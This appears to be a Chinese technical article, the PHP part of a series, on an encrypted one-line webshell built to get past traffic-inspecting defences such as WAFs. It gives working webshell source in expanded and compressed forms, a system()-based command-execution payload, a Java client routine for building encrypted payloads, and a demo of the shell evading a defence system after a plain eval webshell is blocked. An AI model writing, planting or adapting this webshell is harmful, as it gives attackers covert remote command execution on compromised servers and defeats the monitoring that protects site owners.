概述

利用动态二进制加密实现新型一句话木马之php篇

前言

在第一篇文章《利用动态二进制加密技术实现新型一句话木马之Java篇》中我们介绍了一种可以长期绕过所有流量型防护系统的思路,并完成了其Java版本的实现,绕过流程大体如下图,详细内容请参考第一篇文章。

img

现在我们继续实现该思路的PHP版本。

实现篇

服务端实现

得益于PHP语言的灵活性、松散性,现有的PHP一句话木马存在很多个版本,为了躲避杀毒软件和waf,php的一句话木马变形起来可以说是脑洞大开,精妙绝伦。下面我们来打造一个基于纯二进制流量的PHP一句话木马。当然,我们可以采用的方法远不止这一种,可以在此基础上衍生出各种变形。

和Java和.NET不同,PHP并不存在手动编译的过程,开发人员只要提供PHP源代码,然后PHP会自己把源代码编译为opcode,由Zend引擎来解析opcode。因为不存在编译的中间环节,当然也就不存在已编译的二进制类文件。所以这里我们要转变一下思路,在具体实现之前我们先看一个PHP的特性“可变函数”,官方描述为:PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。下面看具体实现,直接上代码吧(为了增加可读性,我对代码进行了一些扩充):

<?php
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
    $decrptContent=openssl_decrypt(file_get_contents("php://input"), "AES128", $key);
    $arr=explode('|',$decrptContent);
    $func=$arr[0];
    $params=$arr[1];
    $func($params);
}
?>

简单解释一下流程:

  • 首先客户端以Get形式发起带密码的握手请求,服务端产生随机密钥并写入Session。
  • 客户端将源代码,如assert eval(“phpinfo();”)利用AES加密,发送至服务端,服务端收到之后先进行AES解密,得到中间结果字符串assert eval(“phpinfo();”)。
  • 服务端利用explode函数将拆分为一个字符串数据,索引为0的元素为字符串assert,索引为1的元素为字符串eval(“phpinfo();”)。
  • 以可变函数方式调用索引为0的数组元素,参数为索引为1的数组元素,即为assert(“eval("phpinfo;")”) 。

压缩一下:

<?php session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&$b[0]($b[1]);?>

或者:

<?php session_start();isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&call_user_func($b[0],$b[1]);?>

客户端实现

由于Java、.net、php三个版本是公用一个客户端,且其中多个模块可以实现复用,为了节省篇幅,此处就不再介绍重叠的部分,只针对PHP平台特异化的部分介绍一下。

1.远程获取加密密钥

详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。

2.动态生成二进制字节数组
如前文所述,PHP版本的Payload是直接用PHP源代码的形式来编写,样式如下:assert eval(Payload)。然后取字符串的字节流,为后续的加密做准备。。
3.已编译类的参数化

为了实现参数化,客户端对PHP的Payload做了一个内部约定,Payload的格式应为function main(arg1…argN){} main(arg1…argN);

比如一个最简单的命令执行的Payload:

function main(cmd)
{
    echo system(cmd);
}
main('whoami');

当然开发Payload的时候,我们只要专门写函数就行了,后面main函数的调用和参数填充,是由客户端程序自动实现的,相关代码如下:

public static byte[] getParamedPhp(String clsName, final Map<String, String> params) throws Exception {
    String basePath="net/rebeyond/behinder/payload/php/";
    String payloadPath=basePath+clsName+".php";
    StringBuilder code=new StringBuilder();
    ByteArrayInputStream bis = new ByteArrayInputStream(Utils.getResourceData(payloadPath));
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    int b;
    while (-1 != (b = bis.read()))
        bos.write(b);
    bis.close();
    code.append(bos.toString());
    String paraList="";
    for (String paraName : params.keySet()) {

        String paraValue = params.get(paraName);

        code.append(String.format("$%s=\"%s\";", paraName,paraValue));
        paraList+=",$"+paraName;
    }
    paraList=paraList.replaceFirst(",", "");
    code.append("\r\nmain("+paraList+");");
    return code.toString().getBytes();
}
4.加密payload

将上一步中getParamedPhp函数返回的Payload源代码字符串的字节流,利用握手请求产生的密钥进行AES加密,详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。

5.发送payload,接收执行结果并解密

详细请参考《利用动态二进制加密技术实现新型一句话木马之Java篇》。

案例演示

下面我找了一个测试站点来演示一下绕过防御系统的效果:

首先我上传一个常规的PHP一句话木马<?php @eval($_POST[‘caidao’]);?>,然后用菜刀客户端连接,如下图,连接直接被防御系统reset了:

img

然后上传我们的新型一句话木马,并用响应的客户端连接,可以成功连接并管理目标系统:

img